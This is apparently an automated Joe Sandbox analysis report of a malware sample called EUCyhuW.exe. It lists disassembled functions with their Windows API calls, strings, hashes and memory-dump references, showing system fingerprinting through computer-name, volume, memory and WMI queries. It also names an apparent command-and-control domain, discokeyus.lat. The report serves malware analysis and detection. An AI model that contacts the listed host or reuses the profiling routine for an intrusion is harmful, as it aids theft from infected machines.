Opcode ID: 5f09780507390f0e69a64c951388fc43d2c593acedfbb9c5dfdb3bc1d0359fa3
Instruction ID: a032666ebfbeaf6c6e61dd29814c4a49939675e9e3ae4c84f08e4a1b0f679ebc
Opcode Fuzzy Hash: 5f09780507390f0e69a64c951388fc43d2c593acedfbb9c5dfdb3bc1d0359fa3
Instruction Fuzzy Hash: 94417E72900209AFCF2ADFA4CD41AEEBBB5FF48300F1580A9F9086B211D7399950DF51

Function 0037F7B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0037FA2B

Strings

csm, xrefs: 0037FA4D
csm, xrefs: 0037FABE

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 8dcd6917cac980bac4e3ca9a1e615391de348fc1e311f4b2d37507c30d95e1d7
Instruction ID: 9d7f37180fbf20369bec7d8506fb2b92ca4abe829b1a5d417920b7ab27b13991
Opcode Fuzzy Hash: 8dcd6917cac980bac4e3ca9a1e615391de348fc1e311f4b2d37507c30d95e1d7
Instruction Fuzzy Hash: D031CF72500209AFCF339F50D8549AA7B69FB08315B19C17AF85C4A222D33ACCA1DF91

Function 00371F82 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0037200A
RaiseException.KERNEL32(?,?,?,?), ref: 0037202F

Part of subcall function 00374D23: RaiseException.KERNEL32(E06D7363,00000001,00000003,00373ADE,?,?,?,?,00373ADE,00001000,0039AE2C,00001000), ref: 00374D84

Part of subcall function 0037D2B9: IsProcessorFeaturePresent.KERNEL32(00000017,00377E7B,?,?,?,?,00000000), ref: 0037D2D5

Strings

csm, xrefs: 00371FBE

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 98d0ef06eff63c2dde43a4863884ed5b2da3a84099e56cea24c480234f91be3c
Instruction ID: 65376395ae2023b4f2d8a02b170789dedb8e7d74064bdf27ca622a3c19c1e8b5
Opcode Fuzzy Hash: 98d0ef06eff63c2dde43a4863884ed5b2da3a84099e56cea24c480234f91be3c
Instruction Fuzzy Hash: CA21BE32D002189BCF36DFA8D9819AEB3B8BF04710F15850AE909AF250D738AE45CB90

Function 003719F9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000002,00000000,6,?,?,003719BC,?,?,0037198D,?,?,?,0036E1E1), ref: 00371A05

Strings

MZx, xrefs: 00371A17
6, xrefs: 003719FD, 00371A00

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: HandleModule
String ID: MZx$6
API String ID: 4139908857-3334924336
Opcode ID: 1f00063df124b7dc65b27a93039e6f7525528a88d0aa4f304e1ae1fb0a1c39e3
Instruction ID: 6032582f8229ef9e22a8d3c04c9f094ba5dce90644fe5944f4373f9ac2fe500f
Opcode Fuzzy Hash: 1f00063df124b7dc65b27a93039e6f7525528a88d0aa4f304e1ae1fb0a1c39e3
Instruction Fuzzy Hash: 61D02B32700204F6DB2287548D0BF9EB2EC8B40785F1080559102D50C0C2B0CB40D150

Analysis Process: EUCyhuW.exePID: 344, Parent PID: 6496COMMON

Execution Graph

Execution Coverage:	4.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	49.1%
Total number of Nodes:	265
Total number of Limit Nodes:	18

Executed Functions

Function 00436460 Relevance: 33.8, APIs: 11, Strings: 8, Instructions: 573
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044068C,00000000,00000001,0044067C,00000000), ref: 0043660D
SysAllocString.OLEAUT32(5C045A0B), ref: 00436692
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 004366D7
SysAllocString.OLEAUT32(74A272A6), ref: 0043676A
SysAllocString.OLEAUT32(C783C597), ref: 0043683A
VariantInit.OLEAUT32(A2A1A0D7), ref: 004368AC
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00436A58

Strings

Z)u+, xrefs: 004367BC
?jYl, xrefs: 0043663B
mn, xrefs: 00436643
n-g/, xrefs: 004367C4
VG, xrefs: 00436510
mn, xrefs: 004368E6
C, xrefs: 00436575
45, xrefs: 004367D4

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: AllocString$BlanketCreateInformationInitInstanceProxyVariantVolume
String ID: 45$?jYl$C$VG$Z)u+$mn$mn$n-g/
API String ID: 1810270423-701845885
Opcode ID: 4ad55e56cfb6c4d5a0ac7f0891fce7aa64591192da55a350065a48e26ca34efa
Instruction ID: 67e3ab90fbb55050b83ff511dd6b3c3963a5408760194a0d2960a75ce1ec41a1
Opcode Fuzzy Hash: 4ad55e56cfb6c4d5a0ac7f0891fce7aa64591192da55a350065a48e26ca34efa
Instruction Fuzzy Hash: F802ED71608341AFD314DF24C881B6BBBE6EFCA714F24C92DE1959B291D738D80ACB56

Function 00421DC5 Relevance: 14.5, APIs: 1, Strings: 7, Instructions: 476
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

3[2], xrefs: 00421F8D
:_/A, xrefs: 00421F95
*W/Y, xrefs: 00421F85
+K%M, xrefs: 00421FAD
a<c>, xrefs: 00422240, 00422341, 0042234E
IJ, xrefs: 00422303
O'K), xrefs: 00421F65

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: *W/Y$+K%M$3[2]$:_/A$IJ$O'K)$a<c>
API String ID: 0-2559717322
Opcode ID: 48e9b0df01243e763ab745ea83c63c7195619ddafca1e12efba534bfc1cbf822
Instruction ID: 0c487e9e3b9aefff8e68a2fdad061e46caa87b058bf2632cc34328a3e7ef8eeb
Opcode Fuzzy Hash: 48e9b0df01243e763ab745ea83c63c7195619ddafca1e12efba534bfc1cbf822
Instruction Fuzzy Hash: EBE1FCB6608350CFC310DF65E88126BBBE1EF96304F55892DE9958B310E7B8D905CB9B

Function 0042A95E Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 431
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042AA5D
GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042AA97

Strings

yYSW, xrefs: 0042ADE4
UXT., xrefs: 0042ADD9
gx, xrefs: 0042AD68

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: ComputerFreeLibraryName
String ID: UXT.$gx$yYSW
API String ID: 2904949787-375554135
Opcode ID: 5f99cd8f8dd6eafbd471ee68844798b9fc772cc32bb9061cda1094a94f7c6169
Instruction ID: 1dadec6a0bc507496f818bff9d64e7bad80a934978026e92cc98925d303d69d6
Opcode Fuzzy Hash: 5f99cd8f8dd6eafbd471ee68844798b9fc772cc32bb9061cda1094a94f7c6169
Instruction Fuzzy Hash: FAD1EF6060C3D18BD7358B3598507ABBBE1AF97304F58889ED5C9A7283D739480ACB67

Function 0042A959 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 352
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042AA97
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 0042AB72

Strings

yYSW, xrefs: 0042ADE4
UXT., xrefs: 0042ADD9
gx, xrefs: 0042AD68

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: ComputerName
String ID: UXT.$gx$yYSW
API String ID: 3545744682-375554135
Opcode ID: af107c7b1bc259f735e4369839b7e80fb91f86eba2e22af7052b33d77afa4a01
Instruction ID: 8900905054eb6be05a603bebf275e59dff5410cdf85dca3e1e626c4f2581f8bf
Opcode Fuzzy Hash: af107c7b1bc259f735e4369839b7e80fb91f86eba2e22af7052b33d77afa4a01
Instruction Fuzzy Hash: 23B1FF2060C3D18BD7258F3598507ABBBE1AF97344F58889ED5C99B283C739450ACB6B

Function 00408760 Relevance: 7.6, APIs: 5, Instructions: 117
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408784
GetCurrentThreadId.KERNEL32 ref: 0040878D
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004087EC
GetForegroundWindow.USER32 ref: 00408801
ExitProcess.KERNEL32 ref: 004088CE

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: 4a5684cab7a0e4bdca8710a94a42124563d18bb80f3ac4a13f85422a1dac580d
Instruction ID: 77a33c71830c9bed1eca70cbc4cf659eaf0ca584cd369f95988227e65177acaa
Opcode Fuzzy Hash: 4a5684cab7a0e4bdca8710a94a42124563d18bb80f3ac4a13f85422a1dac580d
Instruction Fuzzy Hash: A3316B77B502180BD718BFB48C973AAB6968BC4304F0A813E6D85EB3C1ED7C9C0886C5

Function 0040D4C5 Relevance: 6.6, APIs: 2, Strings: 2, Instructions: 579
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.OLE32 ref: 0040D4CD
CoUninitialize.COMBASE ref: 0040D7BF

Strings

Z^\$, xrefs: 0040D870
discokeyus.lat, xrefs: 0040D793, 0040DAC6

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: Uninitialize
String ID: Z^\$$discokeyus.lat
API String ID: 3861434553-1007405290
Opcode ID: a01fd8f87f26d3d816f1489fecb99da8441a4692f313b6bc4dccc3dd5f847be8
Instruction ID: 3353da60549ac53eb5a42772c14460b5de988c874ace14de65c709a5006177b6
Opcode Fuzzy Hash: a01fd8f87f26d3d816f1489fecb99da8441a4692f313b6bc4dccc3dd5f847be8
Instruction Fuzzy Hash: 4702C0B4508B819FD326CF79C490622BFA1BF57304718869DC4D65BB92C376A80BCF95

Function 0042B299 Relevance: 5.9, APIs: 1, Strings: 2, Instructions: 638
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042B6F4

Strings

fb8o, xrefs: 0042B850
]Ey", xrefs: 0042B2F2

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: ]Ey"$fb8o
API String ID: 3960555810-2620436900
Opcode ID: d2d7c777c158c13a6f2eb2385bada538994fc22ae8f6f668b927d4a2ed2f27eb
Instruction ID: 1a29b2663a6d1e3d4bc50f7d2f98f59186f85f8d55af297ffebb30dde5549efa
Opcode Fuzzy Hash: d2d7c777c158c13a6f2eb2385bada538994fc22ae8f6f668b927d4a2ed2f27eb
Instruction Fuzzy Hash: 8902F27060C3D18BD725CF2990607ABBBE1EFD6304F18496EE4C99B382D7398546CB96

Function 00431705 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00431753
GetSystemMetrics.USER32 ref: 00431762

Strings

, xrefs: 00431836

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 02e95a7637a0fdffc14611a2c26144971c0d08941b5acdc01291454eb15c36d4
Instruction ID: 84ba85f599bfe593243629aae81f29994c3d58cf2d1c2a048a06c6410ce7060c
Opcode Fuzzy Hash: 02e95a7637a0fdffc14611a2c26144971c0d08941b5acdc01291454eb15c36d4
Instruction Fuzzy Hash: AF5183B4E142099FDB40EFACD985A9DBBF0BB48300F11852DE858E7350D734A958CF86

Function 00417496 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 271COMMON

Download Yara Rule

Strings

qvA, xrefs: 0041766B

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: qvA
API String ID: 0-3536614403
Opcode ID: 68d515c8278d5df6a795260ef74c201736a7f9aec25fe10ccd1d2a30d3e9dd9c
Instruction ID: 0b74dc5284327a075ed2a6e920350851d58bac8a0683bb31861ca27e01e1f38e
Opcode Fuzzy Hash: 68d515c8278d5df6a795260ef74c201736a7f9aec25fe10ccd1d2a30d3e9dd9c
Instruction Fuzzy Hash: 958119729083418FC728CF28C4916ABB7F2EF95314F198A2DE4D987391E738D841CB96

Function 0043AAB0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043CF3B,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043AADE

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0043B6EA Relevance: 1.5, Strings: 1, Instructions: 212COMMON

Download Yara Rule

Strings

@, xrefs: 0043B88D

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 2d29c2363087ae2445c47f735b3169f3cfacc36d22b2503d9ccd451329d8dc2c
Instruction ID: 696af974d1bcbc32eaa7040c368737887f333a36ac0ad3cd2a6f863bb4d3091a
Opcode Fuzzy Hash: 2d29c2363087ae2445c47f735b3169f3cfacc36d22b2503d9ccd451329d8dc2c
Instruction Fuzzy Hash: 576129B2A183218BD328DF65C88172772E6FFD9744F09953DE9849B391E7788D0087CA

Function 0043D0F0 Relevance: 1.4, Strings: 1, Instructions: 135COMMON

Download Yara Rule

Strings

@, xrefs: 0043D1B4

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 8191c18516c06fb500c04d78651c9962b96ca3d89c594c44ecf332eb6cdb3495
Instruction ID: 8722bf08d20765cd536f5545f28ecaa09abb1181387d0d4d0c03accd67f8dc44
Opcode Fuzzy Hash: 8191c18516c06fb500c04d78651c9962b96ca3d89c594c44ecf332eb6cdb3495
Instruction Fuzzy Hash: 034124B1D043008BDB148F25D84166BB7B2FFCA328F15A66DE8955B391D738DD05C78A

Function 0043D580 Relevance: 1.4, Strings: 1, Instructions: 102COMMON

Download Yara Rule

Strings

@, xrefs: 0043D5E8

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 90653da1737339cf8af8827c33d6398277b321e7f3f4fdada1e5724c73b13124
Instruction ID: 467bac8008fbcbc46b86f330db31b059008b49b72e37d9521a40a8b0ad26a6f1
Opcode Fuzzy Hash: 90653da1737339cf8af8827c33d6398277b321e7f3f4fdada1e5724c73b13124
Instruction Fuzzy Hash: F42135715083009FD320DF18E8C266BBBF5EF8A364F11993DE99943390D3399858CBA6

Function 00439170 Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 444aaad6ca554c9ece308726c993377377bdf3d9faaa7609f96dd4bddce97dc9
Instruction ID: 2639dec5ebfe843594b85c122d8b37952eb58c43b15d33e6b2b5c9b7737a43e3
Opcode Fuzzy Hash: 444aaad6ca554c9ece308726c993377377bdf3d9faaa7609f96dd4bddce97dc9
Instruction Fuzzy Hash: 2F51C135A483044FD7209F64DC44B7BB3A2EBC9710F19962DD8D567381E6B5AC02D789

Function 0043D690 Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1a0aab3dece78a08d449f695b979233d5bad229ec77ae9ef8797340741f78d0a
Instruction ID: 0422055a1e874caf109325627c424b04d6d7c3e9d3bc81ac213a5306bb4f8538
Opcode Fuzzy Hash: 1a0aab3dece78a08d449f695b979233d5bad229ec77ae9ef8797340741f78d0a
Instruction Fuzzy Hash: 93614734A043019BDB24AF28E85163FB3E2EFD9760F15953DE89687391E734AC60D74A

Function 0043B4A3 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5e2af9d3321cbaf144e987a67f87d20a1b59f285fe87837813851281f8b49d08
Instruction ID: 1c99654b7c5864b61d1c28b7cc8ffbcfd2e27d6f0ce15f84ea81510a269ac3b3
Opcode Fuzzy Hash: 5e2af9d3321cbaf144e987a67f87d20a1b59f285fe87837813851281f8b49d08
Instruction Fuzzy Hash: A1415CB6B187644BD3289EE998C13277292FBD9318F2E963DDE9957392D3648C0043C9

Function 0043D330 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: aee970ee838a1fdb58a3742c1897fbe9d449a8df9f67038e79a11246790c3021
Instruction ID: b4e1bb7e215930cdc019edef3399d101ba1e86b8975554ee20e3df62ea8e34a5
Opcode Fuzzy Hash: aee970ee838a1fdb58a3742c1897fbe9d449a8df9f67038e79a11246790c3021
Instruction Fuzzy Hash: FD310834B053005FE7144B28EC81B7BB7E5EB9A714F24562EE585A3391D234EC61C74A

Function 0040C1BE Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5172836a56d6eaf73f5791cf67322ffa60ca432f6c95cf358b86109dd8d3486b
Instruction ID: da48827ae10236048bde58a6fa6a76e17a0f8748d1ffb476d9ec44dba04300d3
Opcode Fuzzy Hash: 5172836a56d6eaf73f5791cf67322ffa60ca432f6c95cf358b86109dd8d3486b
Instruction Fuzzy Hash: 1421FF357093409FC3149F28DC823ABBBE2DBD6318F94692CE5D5973A2C5B4D8069B4A

Function 0040C5A6 Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0040C5AA
CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C6F4

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 14a6c1dfbf3e26469eed638b0aaa314f588d997576ceedd13725b72c0cbf942b
Instruction ID: 4e1a100a13211c5d3ae73b2a88ee96bd49f7fb81698c98e563bdc7523732f142
Opcode Fuzzy Hash: 14a6c1dfbf3e26469eed638b0aaa314f588d997576ceedd13725b72c0cbf942b
Instruction Fuzzy Hash: 7241C7B4C10B40AFD370EF399A0B7137EB4AB05254F504B1EF9EA866D4E631A4198BD7

Function 0040C745 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C757
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C772

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: e0b9aed54267f221c5c4497be90b75d15376a43e0ebf911ba075d5061d90f8f3
Instruction ID: 4efd521cb835fd9462162e9d2cf38e4035d5a68a0a1a7f5ca4642bf8e6032d07
Opcode Fuzzy Hash: e0b9aed54267f221c5c4497be90b75d15376a43e0ebf911ba075d5061d90f8f3
Instruction Fuzzy Hash: 00E017387C83007AF6794F40EC17F243622AB83F22F704314B3213E2E886E03105891D

Function 0043AA50 Relevance: 1.5, APIs: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?,?,00000000,0040B288,00000000,00000001), ref: 0043AA82

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 10a9372251ced5d23f88fb33e87b8f937b116e052609dcd83eed36fadad0be87
Instruction ID: f372461160a3ba5970fa5d6a03685fb3d03a40a4562951e738266f8d841aac8f
Opcode Fuzzy Hash: 10a9372251ced5d23f88fb33e87b8f937b116e052609dcd83eed36fadad0be87
Instruction Fuzzy Hash: A6E02B36514211BFCA016B29BC06A1B37A8DF8B730F060836F441A2111DA38E811C5AF

Function 0042DAA9 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042DAF7

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: e1df18a00371aef941c651020623f7b5d5642121261b3414df7d026dfa1bd4cf
Instruction ID: 74e542448eba8a93d2ef3a55d6f1ac1eca5b0e5edeeac5966ab249d7700e73b8
Opcode Fuzzy Hash: e1df18a00371aef941c651020623f7b5d5642121261b3414df7d026dfa1bd4cf
Instruction Fuzzy Hash: 44F0F4716087028FE301CF24C59835BBBE2BBC9314F16892CE0A45B354C7B5E9498FC2

Function 0042F69B Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042F6E4

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 25a8433d6077cd415cd983f350434e04cc17268b215967d9fd44bab74db72ecb
Instruction ID: 68165b70bfd33716cdda4f40f48016cd5748050c970ae5de9c8f83468294c59a
Opcode Fuzzy Hash: 25a8433d6077cd415cd983f350434e04cc17268b215967d9fd44bab74db72ecb
